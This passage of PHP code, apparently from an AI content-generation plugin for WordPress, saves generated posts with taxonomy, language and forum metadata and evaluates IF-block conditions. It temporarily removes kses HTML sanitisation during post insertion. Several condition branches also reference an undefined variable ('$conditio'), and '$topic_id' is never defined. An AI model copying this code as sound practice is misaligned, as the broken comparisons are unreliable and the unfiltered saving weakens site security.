                                        $post_parent = trim($post_parent);
                                        if(!empty($post_parent))
                                        {
                                            $my_post['post_parent'] = intval($post_parent);
                                        }
                                        $post_comments = $current_block['parameters']['post_comments'];
                                        $post_comments = trim($post_comments);
                                        if(!empty($post_comments))
                                        {
                                            if($post_comments == '1')
                                            {
                                                $my_post['comment_status'] = 'open';
                                            }
                                            else
                                            {
                                                $my_post['comment_status'] = 'closed';
                                            }
                                        }
                                        $post_pingbacks = $current_block['parameters']['post_pingbacks'];
                                        $post_pingbacks = trim($post_pingbacks);
                                        if(!empty($post_pingbacks))
                                        {
                                            if($post_pingbacks == '1')
                                            {
                                                $my_post['ping_status'] = 'open';
                                            }
                                            else
                                            {
                                                $my_post['ping_status'] = 'closed';
                                            }
                                        }
                                        $post_date = $current_block['parameters']['post_date'];
                                        $post_date = aiomatic_replace_omniblocks_data($post_date, $current_keyword, $kiwis, $block_results);
                                        if(strstr($post_date, '~') !== false)
                                        {
                                            $post_date = explode('~', $post_date);
                                            $min_time = trim($post_date[0]);
                                            $max_time = trim($post_date[1]);
                                            if($min_time != '' && $max_time != '')
                                            {
                                                $t1 = strtotime($min_time);
                                                $t2 = strtotime($max_time);
                                                if($t1 != false && $t2 != false)
                                                {
                                                    $int = rand($t1, $t2);
                                                    $my_post['post_date'] = date('Y-m-d H:i:s', $int);
                                                }
                                            }
                                        }
                                        else
                                        {
                                            $t1 = strtotime($post_date);
                                            if($t1 != false)
                                            {
                                                $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                            }
                                        }
                                        $wpml_lang = $current_block['parameters']['post_lang'];
                                        $wpml_lang = aiomatic_replace_omniblocks_data($wpml_lang, $current_keyword, $kiwis, $block_results);
                                        $overwrite_existing = $current_block['parameters']['overwrite_existing'];
                                        $overwrite_existing = trim($overwrite_existing);
                                        if($overwrite_existing == '1')
                                        {
                                            $posts = get_posts(
                                                array(
                                                    'post_type'              => $post_type,
                                                    'title'                  => html_entity_decode($post_title),
                                                    'post_status'            => 'all',
                                                    'numberposts'            => 1,
                                                    'update_post_term_cache' => false,
                                                    'update_post_meta_cache' => false,           
                                                    'orderby'                => 'post_date ID',
                                                    'order'                  => 'ASC',
                                                )
                                            );
                                            if ( ! empty( $posts ) ) {
                                                $zap = $posts[0];
                                            } else {
                                                $zap = null;
                                            }
                                            if($zap !== null)
                                            {
                                                $my_post['ID'] = $zap->ID;
                                            }
                                        }
                                        $custom_fields = $current_block['parameters']['post_custom_fields'];
                                        $block_arr = array();
                                        $custom_arr = array();
                                        if($custom_fields != '')
                                        {
                                            if(stristr($custom_fields, '=>') != false)
                                            {
                                                $rule_arr = explode(',', trim($custom_fields));
                                                foreach($rule_arr as $rule)
                                                {
                                                    $my_args = explode('=>', trim($rule));
                                                    if(isset($my_args[1]))
                                                    {
                                                        $my_args[1] = do_shortcode($my_args[1]);
                                                        $my_args[0] = do_shortcode($my_args[0]);
                                                        $my_args[0] = aiomatic_replace_omniblocks_data($my_args[0], $current_keyword, $kiwis, $block_results);
                                                        $custom_field_content = trim($my_args[1]);
                                                        $custom_field_content = aiomatic_replace_omniblocks_data($custom_field_content, $current_keyword, $kiwis, $block_results);
                                                        if(stristr($my_args[1], 'serialize_') !== false)
                                                        {
                                                            $custom_arr[trim($my_args[0])] = array(str_replace('serialize_', '', $custom_field_content));
                                                        }
                                                        else
                                                        {
                                                            if(stristr($my_args[0], '[') !== false && stristr($my_args[0], ']') !== false)
                                                            {
                                                                preg_match_all('#([^\[\]]*?)\[([^\[\]]*?)\]#', $my_args[0], $cfm);
                                                                if(isset($cfm[2][0]))
                                                                {
                                                                    if(isset($custom_arr[trim($cfm[1][0])]) && is_array($custom_arr[trim($cfm[1][0])]))
                                                                    {
                                                                        $custom_arr[trim($cfm[1][0])] = array_merge($custom_arr[trim($cfm[1][0])], array(trim($cfm[2][0]) => $custom_field_content));
                                                                    }
                                                                    else
                                                                    {
                                                                        $custom_arr[trim($cfm[1][0])] = array(trim($cfm[2][0]) => $custom_field_content);
                                                                    }
                                                                }
                                                                else
                                                                {
                                                                    $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                                }
                                                            }
                                                            else
                                                            {
                                                                $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        if(!empty($custom_arr))
                                        {
                                            $my_post['meta_input'] = $custom_arr;
                                        }
                                        $post_categories = $current_block['parameters']['post_categories'];
                                        $post_categories = aiomatic_replace_omniblocks_data($post_categories, $current_keyword, $kiwis, $block_results);
                                        $post_tags = $current_block['parameters']['post_tags'];
                                        $post_tags = aiomatic_replace_omniblocks_data($post_tags, $current_keyword, $kiwis, $block_results);
                                        if(!empty($post_tags))
                                        {
                                            $my_post['tags_input'] = $post_tags;
                                        }
                                        $post_custom_taxonomies = $current_block['parameters']['post_custom_taxonomies'];
                                        $custom_tax_arr = array();
                                        if($post_custom_taxonomies != '')
                                        {
                                            if(stristr($post_custom_taxonomies, '=>') != false)
                                            {
                                                $rule_arr = explode(';', trim($post_custom_taxonomies));
                                                foreach($rule_arr as $rule)
                                                {
                                                    $my_args = explode('=>', trim($rule));
                                                    if(isset($my_args[1]))
                                                    {
                                                        $custom_tax_content = trim($my_args[1]);
                                                        $custom_tax_content = aiomatic_replace_omniblocks_data($custom_tax_content, $current_keyword, $kiwis, $block_results);
                                                        $my_args[0] = aiomatic_replace_omniblocks_data($my_args[0], $current_keyword, $kiwis, $block_results);
                                                        $spintax = new AIomatic_Spintax();
                                                        $custom_tax_content = $spintax->Parse($custom_tax_content, $block_arr);
                                                        if(isset($custom_tax_arr[trim($my_args[0])]))
                                                        {
                                                            $custom_tax_arr[trim($my_args[0])] .= ',' . $custom_tax_content;
                                                        }
                                                        else
                                                        {
                                                            $custom_tax_arr[trim($my_args[0])] = $custom_tax_content;
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        if(count($custom_tax_arr) > 0)
                                        {
                                            $my_post['taxo_input'] = $custom_tax_arr;
                                        }
                                        if(isset($current_block['parameters']['post_id']))
                                        {
                                            $uppost_id = $current_block['parameters']['post_id'];
                                            $uppost_id = aiomatic_replace_omniblocks_data($uppost_id, $current_keyword, $kiwis, $block_results);
                                        }
                                        else
                                        {
                                            $uppost_id = '';
                                        }
                                        if(!empty($uppost_id))
                                        {
                                            $my_post['ID'] = $uppost_id;
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Saving OmniBlock Post'));
                                        
                                        remove_filter('content_save_pre', 'wp_filter_post_kses');
                                        remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                        try
                                        {
                                            if(!empty($uppost_id))
                                            {
                                                $post_id = wp_update_post($my_post, true);
                                            }
                                            else
                                            {
                                                $post_id = wp_insert_post($my_post, true);
                                            }
                                        }
                                        catch(Exception $e)
                                        {
                                            aiomatic_log_to_file('Exception in publishing post (this is coming from another plugin, so we ignore it): ' . $e->getMessage());
                                        }
                                        add_filter('content_save_pre', 'wp_filter_post_kses');
                                        add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                        if (!is_wp_error($post_id)) 
                                        {
                                            if($post_id === 0)
                                            {
                                                aiomatic_log_to_file('An error occurred while inserting post into wp database! Title:' . $my_post['post_title']);
                                                if($critical == '1')
                                                {
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('', '');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '', '');
                                                    continue;
                                                }
                                            }
                                            else
                                            {
                                                $posts_inserted++;
                                                if(!isset($my_post['taxo_input']))
                                                {
                                                    $my_post['taxo_input'] = array();
                                                }
                                                if(!empty($featured_image))
                                                {
                                                    if(is_numeric($featured_image))
                                                    {
                                                        $featured_path = aiomatic_assign_featured_image($featured_image, $post_id);
                                                    }
                                                    else
                                                    {
                                                        $go_local_image = false;
                                                        if(!function_exists('is_plugin_active'))
                                                        {
                                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                        }
                                                        if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                        {
                                                            $go_local_image = true;
                                                        }
                                                        if($go_local_image == true)
                                                        {
                                                            $localpath = aiomatic_copy_image_locally($featured_image);
                                                            if($localpath !== false)
                                                            {
                                                                $featured_image = $localpath[0];
                                                            }
                                                        }
                                                        if (!aiomatic_generate_featured_image($featured_image, $post_id)) {
                                                            aiomatic_log_to_file('Failed to generate featured image for post ID: ' . $post_id . ' - image URL: ' . $featured_image);
                                                            if($critical == '1')
                                                            {
                                                                return 'fail';
                                                            }
                                                            else
                                                            {
                                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                                {
                                                                    return array('', '');
                                                                }
                                                                $block_results[$block_id] = array($current_block['type'], '', '');
                                                                continue;
                                                            }
                                                        }
                                                    }
                                                }
                                                $cat_str = http_build_query($my_post['taxo_input'], '', ',');
                                                $wp_default_category = get_option('default_category');
                                                $def_cat_name = get_cat_name($wp_default_category);
                                                $default_categories = array();
                                                $extra_cats = explode(',', $post_categories);
                                                if(($post_categories != '' && !in_array($def_cat_name, $extra_cats)) || (isset($my_post['taxo_input']) && stristr($cat_str, 'category') !== false && strstr($cat_str, $def_cat_name) === false && !in_array($def_cat_name, $extra_cats)))
                                                {
                                                    $default_categories = wp_get_post_categories($post_id);
                                                }
                                                if(isset($my_post['taxo_input']))
                                                {
                                                    foreach($my_post['taxo_input'] as $taxn => $taxval)
                                                    {
                                                        $taxn = trim($taxn);
                                                        $taxval = trim($taxval);
                                                        if(is_taxonomy_hierarchical($taxn))
                                                        {
                                                            $taxval = array_map('trim', explode(',', $taxval));
                                                            for($ii = 0; $ii < count($taxval); $ii++)
                                                            {
                                                                if(!is_numeric($taxval[$ii]))
                                                                {
                                                                    $term_ids = [];
                                                                    $parent_id = 0;
                                                                    $hierarchy_parts = array_map('trim', explode('>', $taxval[$ii]));
                                                                    foreach($hierarchy_parts as $hp)
                                                                    {
                                                                        if(!is_numeric($hp))
                                                                        {
                                                                            $xtermid = get_term_by('name', $hp, $taxn);
                                                                            if($xtermid !== false)
                                                                            {
                                                                                $parent_id = $xtermid->term_id;
                                                                                if(!is_numeric($taxval[$ii]))
                                                                                {
                                                                                    $taxval[$ii] = intval($xtermid->term_id);
                                                                                }
                                                                                else
                                                                                {
                                                                                    $taxval[] = intval($xtermid->term_id);
                                                                                }
                                                                            }
                                                                            else
                                                                            {
                                                                                wp_insert_term( $hp, $taxn, ['parent' => $parent_id]);
                                                                                $xtermid = get_term_by('name', $hp, $taxn);
                                                                                if($xtermid !== false)
                                                                                {
                                                                                    $parent_id = $xtermid->term_id;
                                                                                    if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                                                    {
                                                                                        pll_set_term_language($xtermid->term_id, $wpml_lang); 
                                                                                    }
                                                                                    elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                                                    {
                                                                                        $wpml_element_type = apply_filters( 'wpml_element_type', $taxn );
                                                                                        $pars['element_id'] = $xtermid->term_id;
                                                                                        $pars['element_type'] = $wpml_element_type;
                                                                                        $pars['language_code'] = $wpml_lang;
                                                                                        $pars['trid'] = FALSE;
                                                                                        $pars['source_language_code'] = NULL;
                                                                                        do_action('wpml_set_element_language_details', $pars);
                                                                                    }
                                                                                    if(!is_numeric($taxval[$ii]))
                                                                                    {
                                                                                        $taxval[$ii] = intval($xtermid->term_id);
                                                                                    }
                                                                                    else
                                                                                    {
                                                                                        $taxval[] = intval($xtermid->term_id);
                                                                                    }
                                                                                }
                                                                            }
                                                                        }
                                                                        else
                                                                        {
                                                                            if(!is_numeric($taxval[$ii]))
                                                                            {
                                                                                $taxval[$ii] = intval($hp);
                                                                            }
                                                                            else
                                                                            {
                                                                                $taxval[] = intval($hp);
                                                                            }
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                            wp_set_post_terms($post_id, $taxval, $taxn, true);
                                                        }
                                                        else
                                                        {
                                                            $jterms = array_map('trim', explode(',', $taxval));
                                                            wp_set_post_terms($post_id, $jterms, $taxn, true);
                                                        }
                                                    }
                                                }
                                                if(!empty($post_format) && $post_format != 'post-format-standard')
                                                {
                                                    wp_set_post_terms($post_id, $post_format, 'post_format', true);
                                                }
                                                if($wpml_lang != '' && function_exists('pll_set_post_language'))
                                                {
                                                    pll_set_post_language($post_id, $wpml_lang);
                                                }
                                                if($wpml_lang != '' && (class_exists('SitePress') || function_exists('wpml_object_id')))
                                                {
                                                    $wpml_element_type = apply_filters( 'wpml_element_type', $post_type );
                                                    $pars['element_id'] = $post_id;
                                                    $pars['element_type'] = $wpml_element_type;
                                                    $pars['language_code'] = $wpml_lang;
                                                    $pars['source_language_code'] = NULL;
                                                    do_action('wpml_set_element_language_details', $pars);
            
                                                    global $wp_filesystem;
                                                    if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                                                        include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                                                        wp_filesystem($creds);
                                                    }
                                                    if($wp_filesystem->exists(WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php'))
                                                    {
                                                        include_once( WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php' );
                                                    }
                                                    if(function_exists('wpml_update_translatable_content'))
                                                    {
                                                        wpml_update_translatable_content('post_' . $post_type, $post_id, $wpml_lang);
                                                        if($my_post['post_title'] != '')
                                                        {
                                                            global $sitepress;
                                                            global $wpdb;
                                                            $keyid = md5($my_post['post_title']);
                                                            $keyName = $keyid . '_wpml';
                                                            $rezxxxa = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}postmeta WHERE `meta_key` = '$keyName' limit 1", ARRAY_A );
                                                            if(count($rezxxxa) != 0)
                                                            {
                                                                $metaRow = $rezxxxa[0];
                                                                $metaValue = $metaRow['meta_value'];
                                                                $metaParts = explode('_', $metaValue);
                                                                $sitepress->set_element_language_details($post_id, 'post_'.$my_post['post_type'] , $metaParts[0], $wpml_lang, $metaParts[1] ); 
                                                            }
                                                            else
                                                            {
                                                                $ptrid = $sitepress->get_element_trid($post_id);
                                                                update_post_meta($post_id, $keyid.'_wpml', $ptrid.'_'.$wpml_lang );
                                                            }
                                                        }
                                                        
                                                    }
                                                }
                                                if(!empty($post_custom_taxonomies))
                                                {
                                                    $custom_tax_arr = array();
                                                    if(stristr($post_custom_taxonomies, '=>') != false)
                                                    {
                                                        $rule_arr = explode(';', trim($post_custom_taxonomies));
                                                        foreach($rule_arr as $rule)
                                                        {
                                                            $my_args = explode('=>', trim($rule));
                                                            if(isset($my_args[1]))
                                                            {
                                                                $custom_tax_content = trim($my_args[1]);
                                                                $custom_tax_content = aiomatic_replace_omniblocks_data($custom_tax_content, $current_keyword, $kiwis, $block_results);
                                                                if(substr(trim($my_args[0]), 0, 3) === "pa_" && $post_type == 'product' && !empty($custom_tax_content))
                                                                {
                                                                    if(isset($custom_arr['_product_attributes']))
                                                                    {
                                                                        $custom_arr['_product_attributes'] = array_merge($custom_arr['_product_attributes'], array(trim($my_args[0]) =>array(
                                                                            'name' => trim($my_args[0]),
                                                                            'value' => $custom_tax_content,
                                                                            'is_visible' => '1',
                                                                            'is_taxonomy' => '1'
                                                                        )));
                                                                    }
                                                                    else
                                                                    {
                                                                        $custom_arr['_product_attributes'] = array(trim($my_args[0]) =>array(
                                                                            'name' => trim($my_args[0]),
                                                                            'value' => $custom_tax_content,
                                                                            'is_visible' => '1',
                                                                            'is_taxonomy' => '1'
                                                                        ));
                                                                    }
                                                                }
                                                                if(isset($custom_tax_arr[trim($my_args[0])]))
                                                                {
                                                                    $custom_tax_arr[trim($my_args[0])] .= ',' . $custom_tax_content;
                                                                }
                                                                else
                                                                {
                                                                    $custom_tax_arr[trim($my_args[0])] = $custom_tax_content;
                                                                }
                                                            }
                                                        }
                                                    }
                                                    foreach($custom_tax_arr as $taxn => $taxval)
                                                    {
                                                        $taxn = trim($taxn);
                                                        $taxval = trim($taxval);
                                                        if(is_taxonomy_hierarchical($taxn))
                                                        {
                                                            $taxval = array_map('trim', explode(',', $taxval));
                                                            for($ii = 0; $ii < count($taxval); $ii++)
                                                            {
                                                                if(!is_numeric($taxval[$ii]))
                                                                {
                                                                    $term_ids = [];
                                                                    $parent_id = 0;
                                                                    $hierarchy_parts = array_map('trim', explode('>', $taxval[$ii]));
                                                                    foreach($hierarchy_parts as $hp)
                                                                    {
                                                                        if(!is_numeric($hp))
                                                                        {
                                                                            $xtermid = get_term_by('name', $hp, $taxn);
                                                                            if($xtermid !== false)
                                                                            {
                                                                                $parent_id = $xtermid->term_id;
                                                                                if(!is_numeric($taxval[$ii]))
                                                                                {
                                                                                    $taxval[$ii] = intval($xtermid->term_id);
                                                                                }
                                                                                else
                                                                                {
                                                                                    $taxval[] = intval($xtermid->term_id);
                                                                                }
                                                                            }
                                                                            else
                                                                            {
                                                                                wp_insert_term( $hp, $taxn, ['parent' => $parent_id]);
                                                                                $xtermid = get_term_by('name', $hp, $taxn);
                                                                                if($xtermid !== false)
                                                                                {
                                                                                    $parent_id = $xtermid->term_id;
                                                                                    if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                                                    {
                                                                                        pll_set_term_language($xtermid->term_id, $wpml_lang); 
                                                                                    }
                                                                                    elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                                                    {
                                                                                        $wpml_element_type = apply_filters( 'wpml_element_type', $taxn );
                                                                                        $pars['element_id'] = $xtermid->term_id;
                                                                                        $pars['element_type'] = $wpml_element_type;
                                                                                        $pars['language_code'] = $wpml_lang;
                                                                                        $pars['trid'] = FALSE;
                                                                                        $pars['source_language_code'] = NULL;
                                                                                        do_action('wpml_set_element_language_details', $pars);
                                                                                    }
                                                                                    if(!is_numeric($taxval[$ii]))
                                                                                    {
                                                                                        $taxval[$ii] = intval($xtermid->term_id);
                                                                                    }
                                                                                    else
                                                                                    {
                                                                                        $taxval[] = intval($xtermid->term_id);
                                                                                    }
                                                                                }
                                                                            }
                                                                        }
                                                                        else
                                                                        {
                                                                            if(!is_numeric($taxval[$ii]))
                                                                            {
                                                                                $taxval[$ii] = intval($hp);
                                                                            }
                                                                            else
                                                                            {
                                                                                $taxval[] = intval($hp);
                                                                            }
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                            wp_set_post_terms($post_id, $taxval, $taxn, true);
                                                        }
                                                        else
                                                        {
                                                            $jterms = array_map('trim', explode(',', $taxval));
                                                            wp_set_post_terms($post_id, $jterms, $taxn, true);
                                                        }
                                                    }
                                                }
                                                if ($post_categories != '') 
                                                {
                                                    if($post_type == 'product')
                                                    {
                                                        $product_tax = 'product_cat';
                                                    }
                                                    else
                                                    {
                                                        $product_tax = 'category';
                                                    }
                                                    foreach($extra_cats as $extra_cat)
                                                    {
                                                        $extra_cat = trim($extra_cat);
                                                        $extra_cat = strip_tags($extra_cat);
                                                        $extra_cat = preg_replace('#^\d+\.\s*#', '', $extra_cat);
                                                        if(empty($extra_cat))
                                                        {
                                                            continue;
                                                        }
                                                        if ($skip_inexist == '1') 
                                                        {
                                                            if(!term_exists($extra_cat, $product_tax))
                                                            {
                                                                continue;
                                                            }
                                                        }
                                                        $termid = aiomatic_create_terms($product_tax, null, trim($extra_cat));
                                                        wp_set_post_terms($post_id, $termid, $product_tax, true);
                                                        if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                        {
                                                            foreach($termid as $tx)
                                                            {
                                                                pll_set_term_language($tx, $wpml_lang); 
                                                            }
                                                        }
                                                        elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                        {
                                                            $wpml_element_type = apply_filters( 'wpml_element_type', 'product_cat' );
                                                            foreach($termid as $tx)
                                                            {
                                                                $pars['element_id'] = $tx;
                                                                $pars['element_type'] = $wpml_element_type;
                                                                $pars['language_code'] = $wpml_lang;
                                                                $pars['trid'] = FALSE;
                                                                $pars['source_language_code'] = NULL;
                                                                do_action('wpml_set_element_language_details', $pars);
                                                            }
                                                        }
                                                    }
                                                }
                                                if (isset($my_post['tags_input']) && $my_post['tags_input'] != '')
                                                {
                                                    if($post_type == 'product')
                                                    {
                                                        wp_set_post_terms($post_id, $my_post['tags_input'], 'product_tag', true);
                                                    }
                                                }
                                                $tax_rez = wp_set_object_terms( $post_id, 'aiomatic_' . $type . '_' . $param, 'coderevolution_post_source', true);
                                                if (is_wp_error($tax_rez)) {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('wp_set_object_terms failed for: ' . $post_id . '!');
                                                    }
                                                }
                                                if($post_type == 'topic' && $parent_id != '')
                                                {
                                                    update_post_meta($post_id, '_bbp_forum_id', $parent_id);
                                                    update_post_meta($post_id, '_bbp_topic_id', $post_id);
                                                    update_post_meta($post_id, '_bbp_voice_count', '0');
                                                    update_post_meta($post_id, '_bbp_reply_count', '0');
                                                    update_post_meta($post_id, '_bbp_reply_count_hidden', '0');
                                                    update_post_meta($post_id, '_bbp_last_reply_id', '0');
                                                    update_post_meta($post_id, '_bbp_last_active_id', $post_id);
                                                    update_post_meta($post_id, '_bbp_last_active_time', get_post_field( 'post_date', $topic_id, 'db' ));
                                                    do_action( 'bbp_insert_topic', (int) $post_id, (int) $parent_id );
                                                }
                                                if($post_type == 'reply' && $parent_id != '')
                                                {
                                                    if(function_exists('bbp_get_topic_forum_id'))
                                                    {
                                                        $forum_aidi = bbp_get_topic_forum_id($parent_id);
                                                        if(empty($forum_aidi))
                                                        {
                                                            $forum_aidi = 0;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        $forum_aidi = 0;
                                                    }
                                                    do_action( 'bbp_insert_reply', (int) $post_id, (int) $parent_id, (int) $forum_aidi );
                                                }
                                                if(($post_categories != '' && !in_array($def_cat_name, $extra_cats)) || (isset($my_post['taxo_input']) && stristr($cat_str, 'category') !== false && strstr($cat_str, $def_cat_name) === false && !in_array($def_cat_name, $extra_cats)))
                                                {
                                                    $new_categories = wp_get_post_categories($post_id);
                                                    if(isset($default_categories) && !($default_categories == $new_categories))
                                                    {
                                                        foreach($default_categories as $dc)
                                                        {
                                                            $rem_cat = get_category( $dc );
                                                            wp_remove_object_terms( $post_id, $rem_cat->slug, 'category' );
                                                        }
                                                    }
                                                }
                                                aiomatic_addPostMeta_special($post_id, $param, $type, $current_keyword, $rule_unique_id);
                                                if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] == 'on' && $draft_me == true)
                                                {
                                                    aiomatic_change_post_status($post_id, 'publish');
                                                }
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array($post_id, get_permalink($post_id));
                                                }
                                                $block_results[$block_id] = array($current_block['type'], $post_id, get_permalink($post_id));
                                            }
                                        }
                                        else 
                                        {
                                            aiomatic_log_to_file('Failed to insert post into wp database(6)! Title:' . $my_post['post_title'] . '! Error: ' . $post_id->get_error_message() . 'Error code: ' . $post_id->get_error_code() . 'Error data: ' . $post_id->get_error_data());
                                            if($critical == '1')
                                            {
                                                return 'fail';
                                            }
                                            else
                                            {
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '');
                                                continue;
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'if_block')
                                    {
                                        $condition = $current_block['parameters']['condition'];
                                        $condition = aiomatic_replace_omniblocks_data($condition, $current_keyword, $kiwis, $block_results);
                                        $evaluation_method = $current_block['parameters']['evaluation_method'];
                                        $expected_value = $current_block['parameters']['expected_value'];
                                        $expected_value = aiomatic_replace_omniblocks_data($expected_value, $current_keyword, $kiwis, $block_results);
                                        $true_blocks = $current_block['parameters']['true_blocks'];
                                        $true_blocks = aiomatic_replace_omniblocks_data($true_blocks, $current_keyword, $kiwis, $block_results);
                                        $true_blocks = explode(',', $true_blocks);
                                        $true_blocks = array_map('trim', $true_blocks);
                                        $true_blocks = array_filter($true_blocks);
                                        $false_blocks = $current_block['parameters']['false_blocks'];
                                        $false_blocks = aiomatic_replace_omniblocks_data($false_blocks, $current_keyword, $kiwis, $block_results);
                                        $false_blocks = explode(',', $false_blocks);
                                        $false_blocks = array_map('trim', $false_blocks);
                                        $false_blocks = array_filter($false_blocks);
                                        if (empty($evaluation_method)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty evaluation_method), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty evaluation_method entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        $new_blocks = [];
                                        $condition_met = 'not_run';
                                        if($evaluation_method == 'equals')
                                        {
                                            if($condition == $expected_value)
                                            {
                                                $condition_met = true;
                                            }
                                            else
                                            {
                                                $condition_met = false;
                                            }
                                        }
                                        elseif($evaluation_method == 'not_equals')
                                        {
                                            if($condition != $expected_value)
                                            {
                                                $condition_met = true;
                                            }
                                            else
                                            {
                                                $condition_met = false;
                                            }
                                        }
                                        elseif($evaluation_method == 'contains')
                                        {
                                            if(strstr($condition, $expected_value) !== false)
                                            {
                                                $condition_met = true;
                                            }
                                            else
                                            {
                                                $condition_met = false;
                                            }
                                        }
                                        elseif($evaluation_method == 'not_contains')
                                        {
                                            if(strstr($condition, $expected_value) === false)
                                            {
                                                $condition_met = true;
                                            }
                                            else
                                            {
                                                $condition_met = false;
                                            }
                                        }
                                        elseif($evaluation_method == 'greater_than')
                                        {
                                            if(floatval($conditio) > floatval($expected_value))
                                            {
                                                $condition_met = true;
                                            }
                                            else
                                            {
                                                $condition_met = false;
                                            }
                                        }
                                        elseif($evaluation_method == 'starts_with')
                                        {
                                            if(aiomatic_starts_with($conditio, $expected_value) === true)
                                            {
                                                $condition_met = true;
                                            }
                                            else
                                            {
                                                $condition_met = false;
                                            }
                                        }
                                        elseif($evaluation_method == 'not_starts_with')
                                        {
                                            if(aiomatic_starts_with($conditio, $expected_value) === false)
                                            {
                                                $condition_met = true;
                                            }
                                            else
                                            {
                                                $condition_met = false;
                                            }
                                        }
                                        elseif($evaluation_method == 'ends_with')
                                        {
                                            if(aiomatic_ends_with($conditio, $expected_value) === true)
                                            {
                                                $condition_met = true;
                                            }
                                            else
                                            {
                                                $condition_met = false;
                                            }
                                        }
                                        elseif($evaluation_method == 'not_ends_with')
                                        {
                                            if(aiomatic_ends_with($conditio, $expected_value) === false)
                                            {
                                                $condition_met = true;
                                            }
                                            else
                                            {
                                                $condition_met = false;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Unknown expected_value parameter sent: ' . $evaluation_method);
                                        }
                                        if($condition_met === true)
                                        {
                                            if(!empty($true_blocks))
                                            {
                                                foreach($true_blocks as $my_block)
                                                {
                                                    if($my_block == $block_id)
                                                    {
                                                        aiomatic_log_to_file('You cannot execute the same IF OmniBlock in a loop: ' . $block_id);
                                                        continue;
                                                    }
                                                    $bl_found = false;
                                                    foreach($block_data as $swindex => $sw_current_block)
                                                    {
                                                        if($my_block == $sw_current_block['identifier'])
                                                        {
                                                            $sw_current_block['parameters']['disabled'] = 0;
                                                            $new_blocks[] = $sw_current_block;
                                                            $bl_found = true;
                                                        }
                                                    }
                                                    if($bl_found === false)
                                                    {
                                                        aiomatic_log_to_file('Failed to find True condition block ID: ' . $my_block);
                                                    }
                                                }
                                            }
                                        }
                                        elseif($condition_met === false)
                                        {
                                            if(!empty($false_blocks))
                                            {
                                                foreach($false_blocks as $my_block)
                                                {
                                                    if($my_block == $block_id)
                                                    {
                                                        aiomatic_log_to_file('You cannot execute the same IF OmniBlock in a loop: ' . $block_id);
                                                        continue;
                                                    }
                                                    $bl_found = false;
                                                    foreach($block_data as $swindex => $sw_current_block)
                                                    {
                                                        if($my_block == $sw_current_block['identifier'])
                                                        {
                                                            $sw_current_block['parameters']['disabled'] = 0;
                                                            $new_blocks[] = $sw_current_block;
                                                            $bl_found = true;
                                                        }
                                                    }
                                                    if($bl_found === false)
                                                    {
                                                        aiomatic_log_to_file('Failed to find False condition block ID: ' . $my_block);
                                                    }
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Error in processing IF block, condition state is unknown: ' . $condition_met);
                                            if($critical == '1')
                                            {
                                                return 'fail';
                                            }
                                            else
                                            {
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        if(!empty($new_blocks))
                                        {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $blids = [];
                                                foreach($new_blocks as $nb)
                                                {
                                                    $blids[] = $nb['identifier'];
                                                }
                                                aiomatic_log_to_file('Adding new OmniBlock IDs to the queue: ' . implode(',', $blids));
                                            }
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                $stop_omnmiblock_id = array_values(array_slice($new_blocks, -1))[0];
                                            }
